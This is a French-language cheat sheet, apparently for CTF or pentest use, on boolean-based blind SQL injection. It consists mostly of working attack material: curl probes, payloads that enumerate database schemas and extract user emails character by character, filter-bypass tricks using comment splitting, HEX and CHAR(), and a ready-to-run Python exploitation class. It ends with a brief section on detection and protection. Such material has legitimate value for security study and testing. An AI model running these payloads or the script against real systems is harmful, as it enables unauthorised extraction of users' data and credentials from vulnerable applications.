📋 Définition
L'injection SQL Boolean-based Blind est une technique d'exploitation qui permet d'extraire des données d'une base de données en analysant les réponses binaires (vrai/faux) de l'application, sans voir directement les données.
🔍 Identification
Signes caractéristiques :
- Application retourne des réponses différentes selon la véracité de la condition SQL
- Pas d'affichage direct des données de la DB
- Réponses binaires :
true/false,success/error,200/404, etc.
Test de base :
bash
# Test condition vraie
curl "http://target/api/endpoint/test' OR 1=1 OR 'x'='y"
# Résultat attendu : "true" ou réponse positive
# Test condition fausse
curl "http://target/api/endpoint/test' OR 1=2 OR 'x'='y"
# Résultat attendu : "false" ou réponse négative🛠️ Techniques d'exploitation
1. Énumération des structures
sql
-- Compter les bases de données
' OR (SELECT COUNT(*) FROM information_schema.schemata) = X OR 'x'='y
-- Compter les tables dans une DB
' OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='db_name') = X OR 'x'='y
-- Compter les lignes dans une table
' OR (SELECT COUNT(*) FROM table_name) = X OR 'x'='y2. Extraction caractère par caractère
Méthode SUBSTR + ASCII (classique)
sql
-- Test du premier caractère d'un email
' OR ASCII(SUBSTR((SELECT email FROM users LIMIT 1), 1, 1)) = 97 OR 'x'='y
-- 97 = 'a' en ASCIIMéthode LIKE (plus robuste)
sql
-- Construction progressive avec LIKE
' OR (SELECT email FROM users LIMIT 1) LIKE 'a%' OR 'x'='y
' OR (SELECT email FROM users LIMIT 1) LIKE 'ad%' OR 'x'='y
' OR (SELECT email FROM users LIMIT 1) LIKE 'adm%' OR 'x'='yMéthode conversion numérique (contournement)
sql
-- Conversion en numérique pour éviter les filtres
' OR (SUBSTR((SELECT email FROM users LIMIT 1), 1, 1) + 0) = 97 OR 'x'='y3. Navigation dans les résultats
sql
-- Première ligne
SELECT column FROM table LIMIT 1
-- Deuxième ligne
SELECT column FROM table LIMIT 1 OFFSET 1
-- Alternative MySQL
SELECT column FROM table LIMIT 1,14. Binary Search (optimisation)
python
def extract_char_binary_search(position):
low, high = 32, 126 # ASCII printable
while low <= high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTR(column, {position}, 1)) >= {mid}"
if test_sql_condition(condition):
low = mid + 1
else:
high = mid - 1
return chr(high) if high >= 32 else None🚧 Contournements courants
Restrictions sur information_schema
sql
-- Si information_schema est bloqué, bruteforce direct
' OR (SELECT username FROM users LIMIT 1) IS NOT NULL OR 'x'='y
-- Test de colonnes courantes
columns = ['id', 'username', 'email', 'password', 'admin', 'role']
for col in columns:
test: f"(SELECT {col} FROM table LIMIT 1) IS NOT NULL"Filtrage de mots-clés
sql
-- Contournement avec encoding
SELECT -> SELE/**/CT
UNION -> UNI/**/ON
OR -> ||
-- Contournement avec CASE
SELECT CASE WHEN condition THEN 1 ELSE 0 ENDFiltrage de caractères spéciaux
sql
-- Utilisation de HEX
' OR (SELECT column FROM table) = 0x61646d696e OR 'x'='y
-- 0x61646d696e = 'admin' en hex
-- Utilisation de CHAR()
' OR (SELECT column FROM table) = CHAR(97,100,109,105,110) OR 'x'='y
-- CHAR(97,100,109,105,110) = 'admin'🔧 Script d'exploitation type
python
import requests
import urllib.parse
class BlindSQLInjection:
def __init__(self, url, injection_point):
self.url = url
self.injection_point = injection_point
def test_condition(self, condition):
payload = f"{self.injection_point}' OR ({condition}) OR 'x'='y"
encoded = urllib.parse.quote(payload, safe='')
response = requests.get(f"{self.url}/{encoded}")
return "true" in response.text.lower() # Adapter selon l'app
def extract_string_like(self, sql_query):
result = ""
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@.-_'
for pos in range(1, 100):
found = False
for char in charset:
pattern = result + char + '%'
condition = f"({sql_query}) LIKE '{pattern}'"
if self.test_condition(condition):
result += char
print(f"Position {pos}: {result}")
found = True
break
if not found:
break
return result📊 Cas d'usage typiques
Applications vulnérables :
- APIs de validation (ex:
/api/user/validate/{username}) - Systèmes de recherche avec filtres SQL
- Applications de login avec réponses différentiées
- Endpoints de vérification (exists/not exists)
Technologies concernées :
- MySQL, PostgreSQL, SQL Server, Oracle
- Applications PHP, Python, Node.js, .NET
- APIs REST/GraphQL avec paramètres SQL
⚠️ Limitations et détection
Limitations :
- Très lent : 1 caractère = plusieurs requêtes
- Bruyant : génère beaucoup de logs
- Dépendant du timing réseau
- Peut être détecté par les WAF
Signes de détection :
bash
# Dans les logs web
- Multiples requêtes avec OR conditions
- Patterns répétitifs avec SUBSTR/ASCII
- Requêtes avec LIKE patterns progressifs
- Volume élevé de requêtes similairesProtection :
- Requêtes préparées (parameterized queries)
- Validation stricte des entrées
- WAF avec détection de patterns SQL
- Rate limiting sur les endpoints sensibles
- Principe du moindre privilège pour les comptes DB
Charset optimisé :
python
# Charset CTF typique
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@.-_{}:'Endpoints à tester en priorité :
/api/user/validate//api/auth/check//search?q=/api/exists/- Tout endpoint avec réponse
true/false